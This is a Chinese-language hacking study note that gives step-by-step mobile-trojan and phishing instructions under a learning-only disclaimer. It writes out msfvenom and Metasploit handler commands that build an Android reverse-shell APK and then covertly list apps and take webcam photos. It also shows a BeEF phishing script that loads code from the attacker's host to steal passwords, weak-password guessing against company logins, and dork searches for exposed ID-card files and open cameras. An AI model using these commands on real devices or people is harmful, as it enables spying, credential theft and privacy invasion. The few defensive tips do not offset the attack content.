⚠️ 免责声明:本文仅为网络安全学习笔记,复现内容全部来自公开课程。任何未经系统所有者书面授权的渗透测试 / 攻击行为都是违法的! 请仅在合法授权的靶场、CTF 或自己的测试环境中练习。文中涉及的软件破解 / 许可证绕过等做法可能违反相关法律与厂商协议,务必谨慎,仅供参考,请勿用于生产或商业环境。
手机木马病毒攻击实战
什么是漏洞?
- 漏洞:硬件或软件存在「安全上」的缺陷,攻击者可以直接访问或破坏系统。
- 举例:微信给你转 100 元,但实际收到 200 元。
- 结论:金额数据被修改,数据安全存在问题,也叫数据漏洞。
- 扩展:结构漏洞、管理漏洞(银行卡密码是生日)、逻辑漏洞。
- 注意:这些漏洞不是功能上的问题,功能上的问题叫 bug。
学习段位
- 前提:任何未经别人授权的渗透测试或攻击都是违法的!!!
- 王者段位:手写 POC / EXP、代码审计、二进制、APK 逆向等。
- 青铜段位:网络上提供了非常多现成的黑客攻击工具,开箱即用。
exploit VS kali
- exploit / exp(漏洞攻击):系统上的攻击工具。
- kali:操作系统。
本次使用的工具
- 操作系统:Kali 系统(自带非常多的黑客攻击软件)。
- 攻击软件:MSF 软件,又名「美少妇」(用于制作手机木马以测试学习)。
- 攻击对象:安卓手机(不管是 iOS、鸿蒙还是安卓,攻击方式都一样)。
MSF 渗透手机操作指令
- 打开 MSF 软件:终端输入
msfconsole- 2230 exploits:MSF 内部集成了 2230 个漏洞攻击工具。
- 867 payloads:MSF 内部集成了 867 个 payload 工具(有效攻击,攻击过程中造成的损失,如删除数据)。
- 制作木马:
1
msfvenom -p android/meterpreter/reverse_tcp lhost=黑客电脑的IP地址 lport=黑客电脑的端口 R > /home/kali/muma.apk
- venom:毒液、木马、病毒。
-p:payload 的简称。- 攻击模块(安卓):
android/meterpreter/reverse_tcp - 攻击模块(Windows):
windows/meterpreter/reverse_tcp - 攻击模块(鸿蒙):
harmony/meterpreter/reverse_tcp - 攻击模块(iOS):?
R >:另存为,输出并保存。/home/kali/muma.apk:保存到的地址和生成的软件。
- MSF 打开监听程序:
use exploit/multi/handler- 允许其他电脑连接黑客电脑。
- 设置 payload 攻击:
set payload android/meterpreter/reverse_tcp - 设置攻击 IP 地址:
set lhost 黑客电脑的IP地址 - 设置攻击端口:
set lport 黑客电脑的端口 - 执行木马:
run- 回车出现
meterpreter >:表示有手机连接过来了(黑客电脑 — 建立连接 — 手机)。 help:查看可执行命令。
- 回车出现
- 远程查看该手机的应用程序:
app_list- 出现的名字乱码 —— 需要汉化处理。
- 可以知道有哪些安装包(com.xxxxx)。
- 远程打开该手机的软件:
app_run 安装包 - 在该手机黑屏的时候拍照
- 查看摄像头:
webcam_list - 拍照:
webcam_snap -l 1(执行 1 号摄像头)
- 查看摄像头:
漏洞的攻击流程 —— 针对登录页面的攻击
- 进入社工网站 beef(账号密码为默认值)。
- 获取目标对象的微信或手机号等。
- 写一个钓鱼网站,如在网站的代码中写入:
<script src="http://黑客电脑的IP地址:端口号/钓鱼代码文件"></script> - 发钓鱼短信,里面附带钓鱼网站链接。
- 用户点击钓鱼链接后即被入侵。
- 通过 beef 可以直观看到连接人的电脑或手机,右键 command 选择攻击工具执行。
- 如弹窗工具,弹窗提示输入账号密码等,用户输入后黑客即可获得账号密码。
怎么找到某一家公司的资产?
- 先通过企查查、天眼查等获取某一家公司的 ICP 之类的信息。
- 再通过 fofa(“佛法”)检索这家公司,从获取的服务器链接点进去可以看到对应的登录页,再进行信息比对,尝试破解密码登录(手机号、二级域名、残留的测试账号、名字拼音等)。
- 以上信息收集,用弱口令方式破解密码,培养思维。
- 通过奇安信 https://www.qianxin.com/ 使用命令可以获取这家公司的所有相关资产。
- 网站目录扫描:分析网站使用什么语言。
- 扫描工具:
dirsearch- 命令:
python dirsearch.py -u 扫描网站的网址 -e php,zip,bak- 把扫描出来绿色的文件与网址一拼,可以在浏览器上看其内容。
- AI 只能辅助分析,Gemini:把绿色的文件夹拿去问 AI,问这个是什么。
- 命令:
- 扫描工具:
- 收集到足够的信息,然后采取针对性的攻击方式。
- 在 Google 浏览器中搜索 Google Hacking Database 里的命令,真的能找到一些表格和信息之类的,代表没有做脱敏。
- 如搜索
filetype:xls 身份证,可以找到网站中一些包含身份证的 xls 表格。
- 如搜索
揭秘黑客攻防网络世界的「天眼」攻击
- 现代攻击:社会工程学 + 技术。
- 社会工程学?骗术!
- 引诱他人点击有木马的软件、视频、广告、链接等。
- 如高考 → 志愿 → AI 志愿填报 + 技术,获取权限等信息。
- 可以获取定位(seeker)、访问设备、IP 等信息。
- WebRTC:开启视频通话的技术。
- 隐藏摄像头方式:
- 弹窗欺骗 → 把通信弹窗变成 1px × 1px 的弹窗 → 幽灵窗口。
- 浏览器推送通知。
- 反制
- 浏览器设置 →「隐私和安全」→ 检查获取权限的网址有哪些,把不认识的移除。
- 物理防御:把摄像头遮住。
- 批判性思维与零信任原则:遇到索要权限时,看有哪些权限不符合当前软件。
挖洞、分析网址
- 网络安全人员 / 黑客武器库 / 木马库:https://www.exploit-db.com
- 360 漏洞响应平台:https://src.360.net/home
- 补天:https://www.butian.net/
- fofa(佛法):https://en.fofa.info/ (搜索方式:
country="JP"可爬取某个国家所有被入侵的电脑)扫漏洞,然后去补天提交 —— 积累经验的途径。 - 黑客之门:https://www.hackerdoor.com/?c=click&id=141
- 钟馗之眼:https://www.zoomeye.org/ (又叫暗黑搜索引擎,搜索全球的联网信息)
- SHODAN:https://www.shodan.io/ (国外的搜索引擎,如搜索
webscan可以获得已知的摄像头,可以打开) - cvedetails.com
积累经验途径
- 漏洞挖掘
- 7-9 月的护网
- CTF 竞赛
- 外包项目
漏洞类型
- 0day:以前从来没有发现过的漏洞,系统底层漏洞,hard hard hard。
- Nday:别人已经发现过的漏洞,然后你从其他网站去找这种漏洞。